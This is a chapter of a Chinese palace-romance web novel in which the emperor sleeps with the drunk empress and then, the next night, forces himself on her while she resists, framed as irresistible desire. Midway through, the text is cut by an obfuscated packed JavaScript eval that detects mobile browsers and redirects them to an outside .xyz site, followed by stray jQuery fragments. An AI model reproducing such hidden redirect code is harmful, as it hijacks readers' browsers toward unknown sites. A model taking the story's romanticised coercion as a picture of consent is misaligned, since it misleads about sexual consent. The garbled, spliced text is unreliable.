25. 第二十五章

作品:《金钿娇

    下朝之后,皇帝返回太极殿,问起皇后来。


    卫少监奉上一盏浓茶,小心翼翼地回禀:“皇后娘娘醒来以后,大发雷霆,又哭又闹,摔砸了很多东西,哭得厉害呢…”


    皇帝原本还不错的脸色立刻沉了下来。


    就算昨夜是他不对,趁她酒醉乘人之危,但他二人本就是正经夫妻,名正言顺。


    况且他也问她了,她分明知道他是谁。


    哭什么,闹什么?像什么样子?再说她自己不也纠缠了吗,昨天要不是她拉着不让走,他早走了。


    皇帝喝了一口茶,默不作声。


    晌午过后,他又去了长信宫。


    刚进内殿,一个瓷的药碗就摔了过来。


    没想到海棠到现在还没梳洗,披散着头发,坐着床上,形容憔悴,双目通红,显然哭过了。


    一看到他就咬牙切齿:“你这个骗子!混蛋!你竟然还敢来!”


    她恨得要站起来掐他:“你这个王八蛋!趁我醉酒占我便宜,我掐死你!我要杀了你!”


    皇帝硬生生挨了她一顿拳打脚踢,抓着她的手将她禁锢在怀里:“别闹了!”


    “朕和你本来就是夫妻,有什么不可以的?”


    海棠大骂道:“你还真是大言不惭!贱骨头的贱男人!给我去死!赶紧滚!”


    皇帝气急反笑:“朕不滚!朕为什么要滚!皇帝睡在皇后寝宫天经地义,朕不仅不滚,朕今晚还要在这住!你又能如何?”


    海棠被他的恬不知耻震惊到了,气得无言以对:“你…你…”


    皇帝果然说到做到,今晚他又要留宿在长信宫,趁宫人们忙碌的时候。


    他颇为挑衅地看着海棠:“夫妻名分,人伦规矩,这是天经地义,朕又不是觊觎他人妻子强占人妻,不管怎么看,朕都没有越矩的地方。”


    “朕已经言出必行留宿在长信宫了,宇文海棠,你能怎么样?难道你还要弑君不成?”


    海棠恶狠狠瞪着他,眼泪顺着脸颊流下来。


    她的确不能弑君,可是也不能为此事杀了自己吧,那样就太便宜他了!


    他又死不了,自己也不想死,这可怎么办?真把她难住了。


    皇帝本来心里正在生气,要不是卜瀚文屡次劝他大局为重,他怎么会过来应付。


    结果情况失控,一招不慎,险些把自己搭进去了。


    皇后如此给脸不要脸,令他十分不快,内心也很懊恼,谴责自己。


    此事非君子所为,让他无形之中理亏,气势上矮了一截。


    可是你宇文海棠难道是什么难以割舍的天仙吗?离了你不能活了?


    咄咄逼人,喋喋不休,从刚才到现在,一直辱骂于他。


    他高翊从出生下来何曾被人这样骂过?


    偏偏他还理亏,无法反驳。


    皇帝下定决心,如此混账之事,只此一次,绝不再犯!


    绝不能再折在这个女人手里。


    他如是告诫自己,定要心如磐石般坚定。


    可是令他没想到的是,皇后哭了。


    他本来很生气的,看到她无言流泪的场面,一时也有些慌了。


    海棠恨自己为什么一点防备之心没有,为什么昨天要喝那么多酒。


    为什么!为什么!为什么会变成现在这样!


    是她太笨了,是她太蠢了!


    此刻她简直悔恨得想要狠狠扇自己两嘴巴。


    实在太过委屈,她哭了出来。


    坐在床尾,靠着柱子的地方,一边抹眼泪,一边回想昨天那破碎的记忆。


    她只记得她从宴席上回来的时候,其他什么都不记得。


    然后就是今天早上起来,春泠坐在床边红着眼睛看她。


    春泠告诉她这个晴天霹雳的消息,她差点昏过去了…


    看到她哭,皇帝心里怪不是滋味的。


    他是彻底理亏,成了色胚小人了…


    可是昨天他明明前面还是十分清醒,十分理智的,从什么时候开始…突然失控的…


    他竟然也想不起来…


    皇帝叹了口气,伸手拂去海棠眼角的泪珠。


    “朕始终是你的丈夫,如果你学会接纳朕,也许我们会过得好也未可知?”


    丈夫…这两个字让海棠气不打一处来。


    此刻她突然格外的痛恨父亲,比以往更加痛恨。


    对她不好的父亲,就这样把她推给一个对她不好的丈夫。


    大婚之前她甚至没有见过他一面,他就这样成了她的丈夫。


    他对她做的任何事,就有礼法可依了。


    她笑了一声,然后问他:“丈夫?你是多少个人的丈夫?你自己数过吗?”


    皇帝忍耐着:“嫔妃为妾,皇后为妻,你不明白?”


    “我不明白,我不明白你明明厌恶我,却还能在我身边躺下,我不明白你和颐妃山盟海誓,却还能宠幸韩才人不误。”


    “我不明白你周转于各个床榻之间,辛劳出力,作何感想?”


    “人无约束自制之力,与禽兽牲畜无异,眼下我已经看清你这禽兽的真面目了!”


    皇帝怒哼一声:“恶妇!”


    牙尖嘴利的恶妇!


    他陡然十分后悔刚才为什么要放话留宿长信宫,现在他很想掉头就走,一刻都不想再面对这个女人!


    可是挑衅之言已经放出去了,要是临阵脱逃,显得他更矮上一截了。


    皇帝虽然怒气冲冲,但是坚决不肯走。


    等到又躺回那张床的时候,望着帐顶繁复的花纹。


    那熟悉的,略带甜味的幽香再次嗅入鼻中。


    那是海棠身上的味道,她此刻裹着被子背对着他,缩在角落不知道在想什么。


    可恶,这什么味道,为何这么缠人。


    扰乱得他心神不宁。


    昨晚海棠醉了,可他没醉。


    种种情景又浮现在脑海中。


    香味迷离,衣衫缠绕,唇齿相接,身体愈渐灼热。


    不可否认她是个天生丽质的大美人,美人的滋味并不容易忘记,即便他见过无数佳丽。


    皇帝按按额头,够了!救命啊…够了…


    不行,不能再这样下去,不能再贪图美色,迷恋其中,否则一切全完了。


    他遏制住所有杂念欲念,开始按照卜瀚文给出的剧本念白。


    “其实朕知道,入宫非你所愿。”


    “你心向自由,自你嫁入宫中,不见你有一日开心,朕对你一直冷待,朕也很愧疚。”


    “可是人生在世,总是身不由己,往日种种,也并非朕所愿,太后忌惮宇文家,对你一直不喜,你又是刚过易折,宁为玉碎的性子,让朕很为难。”


    “作为丈夫,朕不希望你痛苦一生,作为帝王,朕又希望你能担得起国母的责任,也许是朕对你要求太高了。”


    他叹口气:“海棠,你本性不坏,朕知道你年少时在家里受了很多委屈,朕想…”


    他的台词还没说完,海棠却抱着被子哭了。


    这是他没料到的,她又哭了。


    他最见不得女人的眼泪。


    一下子台词也忘了,赶紧翻身起来:“又怎么了?”


    海棠哭着说:“我被你害惨了…我被你害惨了!”


    “你躺在我旁边,我根本睡不着!我心里烦死了乱死了!我头要炸开了!”


    她抱着头:“你简直是我前世的冤家,今生的罪孽!”


    “为什么变成现在这样,你要怎么跟你的颐妃交代?我要怎么办啊?你说怎么办?”


    “我告诉你,就算你要废了我休了我,我也要出宫,我也要回家,我不会去寻死的,更不会去做尼姑的!绝不!”


    “朕什么时候说要废了你休了你啊?”皇帝被她指责得摸不着头脑:“什么时候要让你去死,去做尼姑了?”


    “你到底在想什么啊?”


    “你说过!你说过好多次!你想赖账!”


    她披头散发,梨花带雨,一改往日的跋扈作风,这陌生的模样实在让他无法招架。


    他轻轻拍了拍她的肩,想稍作安慰。


    可是刚碰到她的肩膀,她往后一躲。


    皇帝把手收回来,指尖那一点点温热的余温,开始慢慢蔓延,很奇怪的感觉。


    烛火影照,幽香萦绕。


    那种


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526161|183735||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无法控制,浑身滚烫的感觉又来了…


    完了,皇帝心想,又要完了。


    他的呼吸逐渐紊乱,直到自己控制不住。


    突然伸手把海棠一把搂过来,脸贴上了她的脖子,气息浓重。


    “啊!”海棠尖叫一声:“你干什么!”


    她一巴掌扇过去,被他握在手里。


    海棠挣脱不得:“高翊!你又发什么疯!占一次便宜还不够,还想占两次不成?”


    他低下头,瞳中渐渐充满欲望:“一次和两次有什么区别?”


    现在连他自己也搞不明白了,为什么,这到底为什么!


    为什么他会这么难以自持,从前绝不可能发生这种事!


    海棠抗拒道:“我平生最恨与人共享物品,尤其是男人,从前宅院之争看够了,争宠献媚令我厌恶无比,你已经有颐妃,还有韩才人,我们不是一路人,道不同不相为谋!你不要再一错再错下去了!”


    “是不是一路人也躺一个被窝里了,你现在说这些还有什么用?”


    他的手抚摸着海棠的脸:“你确实很美。”


    “如果能少说些恶劣言语,就更好了。”


    “当时进献的画像,已经十分出众,可是大婚的时候看到真人,才发现纸笔之作,远远不及。”


    他突然夸赞起她的容貌,让她有些混乱,难道真是色令智昏了?


    她赶紧亮出杀手锏,恶狠狠道:“我可是宇文宏都的女儿,你忘了吗?”


    我可是你最讨厌的人的女儿。


    “朕没失忆,用不着你提醒。”


    他说着就开始解衣服,海棠又喊起来:“我知道了,你想害我!你暗算我!”


    他低下头,闻她发间的香味:“朕害你什么了?”


    “你也是后宫嫔御啊,皇后娘娘,你忘了?”


    皇帝身上隐约透着淡淡的檀香味儿,大约是太极殿常年燃着檀香,连带着身上也沾染了些味道。


    海棠身上则是极其浓艳的香味,与宫中常用的淡雅清香不同,这香味浓艳靡丽,与她本人的风格如出一辙。


    这到底是什么香,皇帝百思不得其解。


    这样两种格格不入的香味,因主人的纠缠慢慢融合在一起,竟多了几分令人回味的滋味。


    殿中纱帐飘逸,皇帝压着海棠,衣衫凌乱,发丝垂落。


    高氏皇族姿容俊秀,世代尽出美人。


    这样的角度看过去,竟有一种妖异之美。


    可他实在蛮不讲理,纠缠不休,抵死不肯放过她一般。


    海棠累得气喘吁吁,属实是挣不过他。


    她气结无比:“混蛋!有种你试试!”


    能怎么样,能死吗?


    就算她倒霉了一回又倒霉一回能怎么样?


    海棠心中哀怨,老天爷,你真是不公!


    你看不惯我过得顺心是吧?


    那你掐死我吧!你来啊!


    她有些胡思乱想,趁她松懈之际,皇帝立刻乘虚而入。


    翌日离开长信宫时,显然不止海棠一人后悔不迭,皇帝也在暗骂自己。


    高翊,你怎么回事!你疯了吗?


    如此没有自制之力…究竟怎么回事!


    海棠起来梳妆的时候,春泠已经忍无可忍:“怎么会有这种不要脸的人,真是太过分了,一而再再而三的,士可忍孰不可忍!”


    她蹲下身来,抓着海棠的手:“怎么办,小姐,你说过你对他无意,将来早晚要离开的,如今却失身给他,真是吃了大亏了,这杀千刀的色坯!我真恨不得捅上他几刀!”


    海棠看着镜子,心里也有些郁结。


    半晌后,她叹气道:“也没什么大不了的。”


    “能死不成?日子不过了?我还是我,我还是宇文海棠,这点永远不变就行了。”


    “春泠,你还想回家吗?”


    “我想。”


    “好,那就回家,我们想办法回家。”


    “真的吗?回相国府?”


    “不,那里不是我们的家,我们会有新家的。”


    春泠终于笑了:“反正小姐在的地方就是我的家,你去哪我就去哪。”